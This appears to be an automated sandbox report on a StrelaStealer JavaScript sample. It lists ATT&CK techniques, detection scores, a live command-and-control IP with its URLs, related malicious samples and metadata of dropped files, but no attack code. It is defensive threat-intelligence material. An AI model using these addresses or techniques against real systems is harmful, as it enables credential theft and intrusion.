Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24667857242018421.js	7%	Virustotal		Browse
24667857242018421.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/h	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/jF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/h	net.exe, 00000007.00000002.2104420306.000001CDEBC6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3327067739.000001C97E600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2105791381.000001C97E4E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/jF	net.exe, 00000007.00000002.2104420306.000001CDEBC38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2104420306.000001CDEBC8D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2104420306.000001CDEBC38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2104420306.000001CDEBC6B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588682
Start date and time:	2025-01-11 04:08:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24667857242018421.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 162.159.61.3, 172.64.41.3, 184.28.90.27, 217.20.57.23, 23.209.209.135, 2.16.168.105, 2.16.168.107, 2.23.197.184, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:08:55	API Interceptor	22x Sleep call for process: powershell.exe modified
22:08:58	API Interceptor	1x Sleep call for process: net.exe modified
22:08:59	API Interceptor	2x Sleep call for process: svchost.exe modified
22:09:11	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307151095614289
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugX:gJjJGtpTq2yv1AuNZRY3diu8iBVqFJ
MD5:	2531B341A4C9E1EFD2B306F69F8DB9BC
SHA1:	1F455DA092B32679D2B83BFC0ED3665A3623A6F6
SHA-256:	D8179A29D9FFE5991C888415BA3AFF314D4A8912C36860350CC1152FB706B08D
SHA-512:	8F76CE0CC0065F4A2AC17368D632F251F266E1212729BCB981F99FD9A7C8107DEB4E1EE61A7106F2AF34C32D87D0584B0EC688AE42D53A8B574E7FCC46399C37
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xec3eac1d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585640073087046
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2F34C23A257F2A5C04AF46A7BF030788
SHA1:	AA33845D46B59E171DEF98ECCF7824E80A9A8841
SHA-256:	3CAA6055E77F6FC75EA7A735CF85417933FE3FF4C8BB48816D9C89D21CA2E5D6
SHA-512:	51605292DEB507A00E674DCE44D4BC071907E8FF1E71D1BCA4E7814215274D6272B8A0BBBB80254F2E49D358FAA4459CF3ABFA35760262F97803623914AE2472
Malicious:	false
Preview:	.>..... ...............X\...;...{......................0.z..........{..;....}3.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................;.KY;....}3................./Y&.;....}3..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0805581856547786
Encrypted:	false
SSDEEP:	3:/pVmltlKYepUYWnwyekGuAJkhvekl1wWnlqllrekGltll/SPj:6lXKzpgnwytrxlNnQJe3l
MD5:	4C65888BD2424F8A6871AC57FF9C975D
SHA1:	B565EDF8EB08D35FF958F99ECAE418A1B3A9CDFD
SHA-256:	8B5DD81B4A86EE096BB8C13414A722FC94D0579E45AF248FF9B2968665B58059
SHA-512:	598F72A3D701BEBCC5E727D1A0A6D48A080CC88658DF8BFF8BA293D2E6A8D43BC40868282E68E565D701F2C3BDEE621BDCC39CDBA0AFEF548764EFDF6820741B
Malicious:	false
Preview:	..p.....................................;...{..;....}3......{...............{.......{...XL......{................../Y&.;....}3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.174754136155584
Encrypted:	false
SSDEEP:	6:iO4qXA8F/Q+q2P92nKuAl9OmbnIFUtSqXAlgZmwsqXAlQVkwO92nKuAl9OmbjLJ:7LlVv4HAahFUtsg/OI5LHAaSJ
MD5:	1A9A006021A623A01CD64BC553738EB6
SHA1:	6D97CC28138D3A6DA4F79A81F3A4E5989978A893
SHA-256:	4973071C79F1F8DB1C4AE068E8ACE92D48F9B3F50440D65E064F0C2BF108DA8B
SHA-512:	D7CC10682975FE3F2FDBC529EBB54096D395E61BF38A28354FBC90AAAA69A482991B9F2E4A3B8ABBA6A0F70BEA8566C8B0AF86DF52043620911691E839CD9881
Malicious:	false
Preview:	2025/01/10-22:08:58.788 1bf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:08:58.790 1bf8 Recovering log #3.2025/01/10-22:08:58.790 1bf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.174754136155584
Encrypted:	false
SSDEEP:	6:iO4qXA8F/Q+q2P92nKuAl9OmbnIFUtSqXAlgZmwsqXAlQVkwO92nKuAl9OmbjLJ:7LlVv4HAahFUtsg/OI5LHAaSJ
MD5:	1A9A006021A623A01CD64BC553738EB6
SHA1:	6D97CC28138D3A6DA4F79A81F3A4E5989978A893
SHA-256:	4973071C79F1F8DB1C4AE068E8ACE92D48F9B3F50440D65E064F0C2BF108DA8B
SHA-512:	D7CC10682975FE3F2FDBC529EBB54096D395E61BF38A28354FBC90AAAA69A482991B9F2E4A3B8ABBA6A0F70BEA8566C8B0AF86DF52043620911691E839CD9881
Malicious:	false
Preview:	2025/01/10-22:08:58.788 1bf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:08:58.790 1bf8 Recovering log #3.2025/01/10-22:08:58.790 1bf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.163611392849041
Encrypted:	false
SSDEEP:	6:iO4qXABIq2P92nKuAl9Ombzo2jMGIFUtSqXAjVXZmwsqXAjVFkwO92nKuAl9OmbX:7OIv4HAa8uFUtWVX/gVF5LHAa8RJ
MD5:	728692076B6DFD507A031CC60E5E7162
SHA1:	68500EEA71FD463730E576FE8107F6DE27475C57
SHA-256:	F2161DCF849C938AB633247691548F15DA1F25A5B40C494DF97999BE13EB032D
SHA-512:	4DE5FDBB6C6CE9BBD0E557390D5EE84EDD6FA025FA5F57B9BA39C0CCAA0EFB812E164CB1987571DBDCA87C843564A0B7E3E2A42788374CB6586E1910E755AF30
Malicious:	false
Preview:	2025/01/10-22:08:58.973 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:08:58.975 1750 Recovering log #3.2025/01/10-22:08:58.975 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.163611392849041
Encrypted:	false
SSDEEP:	6:iO4qXABIq2P92nKuAl9Ombzo2jMGIFUtSqXAjVXZmwsqXAjVFkwO92nKuAl9OmbX:7OIv4HAa8uFUtWVX/gVF5LHAa8RJ
MD5:	728692076B6DFD507A031CC60E5E7162
SHA1:	68500EEA71FD463730E576FE8107F6DE27475C57
SHA-256:	F2161DCF849C938AB633247691548F15DA1F25A5B40C494DF97999BE13EB032D
SHA-512:	4DE5FDBB6C6CE9BBD0E557390D5EE84EDD6FA025FA5F57B9BA39C0CCAA0EFB812E164CB1987571DBDCA87C843564A0B7E3E2A42788374CB6586E1910E755AF30
Malicious:	false
Preview:	2025/01/10-22:08:58.973 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:08:58.975 1750 Recovering log #3.2025/01/10-22:08:58.975 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\21db934b-3f61-4851-bc89-33204edccf04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.04662325208327
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2Hacaq3QYiubxnP7E4T3OF+:Y2sRdsTdMHV3QYhbxP7nbI+
MD5:	CAA8BF47A65BC0A91AF0BC0C5DD6B587
SHA1:	C0AB3C86F453B22913AAA30356EE056F84A1442C
SHA-256:	4CCA0ACB42F1924387FFEB802EECBEADC463FC99EA82B081671939BCA4B0DE33
SHA-512:	559A59EF055FF031335E470CEE4A779332FE1BD117D21DF456E8D3BDAB3BFECEE16A5B81D60D9534FE1679BCC5CBE0E500544800529F91EDAF7B9AD7346D92E4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124951438462","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127356},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.04662325208327
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2Hacaq3QYiubxnP7E4T3OF+:Y2sRdsTdMHV3QYhbxP7nbI+
MD5:	CAA8BF47A65BC0A91AF0BC0C5DD6B587
SHA1:	C0AB3C86F453B22913AAA30356EE056F84A1442C
SHA-256:	4CCA0ACB42F1924387FFEB802EECBEADC463FC99EA82B081671939BCA4B0DE33
SHA-512:	559A59EF055FF031335E470CEE4A779332FE1BD117D21DF456E8D3BDAB3BFECEE16A5B81D60D9534FE1679BCC5CBE0E500544800529F91EDAF7B9AD7346D92E4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124951438462","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127356},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234254544253397
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUmo8ch:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLQ
MD5:	7CA34B1D9308B9EE83A4179109994DBF
SHA1:	261FAA07455D1496693139E1A234130FDD987DD1
SHA-256:	1374DD80900B2418E8732D8763B6B4E78ACC4C069E079E8B3BDF82AB391E59B1
SHA-512:	246989CE46FA7E9284497846469A9B2DDDB87990520697A202A187525DFDA137309A1849D35CC3B9AF202308DBB7C3E24695393BD3B7ACB498EAF0406F828C09
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169843110122902
Encrypted:	false
SSDEEP:	6:iO4qXA6VT+AOq2P92nKuAl9OmbzNMxIFUtSqXA6VTUZZmwsqXA6VTUzkwO92nKuP:7TOv4HAa8jFUtg/G5LHAa84J
MD5:	1915564FE3711BECBE15EE0C7030A074
SHA1:	F761A0D22C7D64D46697BC6BBFD75F97D66953DC
SHA-256:	C0147F8B1C067ED80E11330F937E3D9CDCBAA3D80F47ECAC5890ACC304E92DAB
SHA-512:	E942531CC513218358D824C8452F414453A46D682E78B582BEAF4137A3778F74C809CD26241644DADF4DCFD686D58ABE6DAB42164F7857E66BC69F369091B61A
Malicious:	false
Preview:	2025/01/10-22:08:59.067 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:08:59.068 1750 Recovering log #3.2025/01/10-22:08:59.068 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169843110122902
Encrypted:	false
SSDEEP:	6:iO4qXA6VT+AOq2P92nKuAl9OmbzNMxIFUtSqXA6VTUZZmwsqXA6VTUzkwO92nKuP:7TOv4HAa8jFUtg/G5LHAa84J
MD5:	1915564FE3711BECBE15EE0C7030A074
SHA1:	F761A0D22C7D64D46697BC6BBFD75F97D66953DC
SHA-256:	C0147F8B1C067ED80E11330F937E3D9CDCBAA3D80F47ECAC5890ACC304E92DAB
SHA-512:	E942531CC513218358D824C8452F414453A46D682E78B582BEAF4137A3778F74C809CD26241644DADF4DCFD686D58ABE6DAB42164F7857E66BC69F369091B61A
Malicious:	false
Preview:	2025/01/10-22:08:59.067 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:08:59.068 1750 Recovering log #3.2025/01/10-22:08:59.068 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
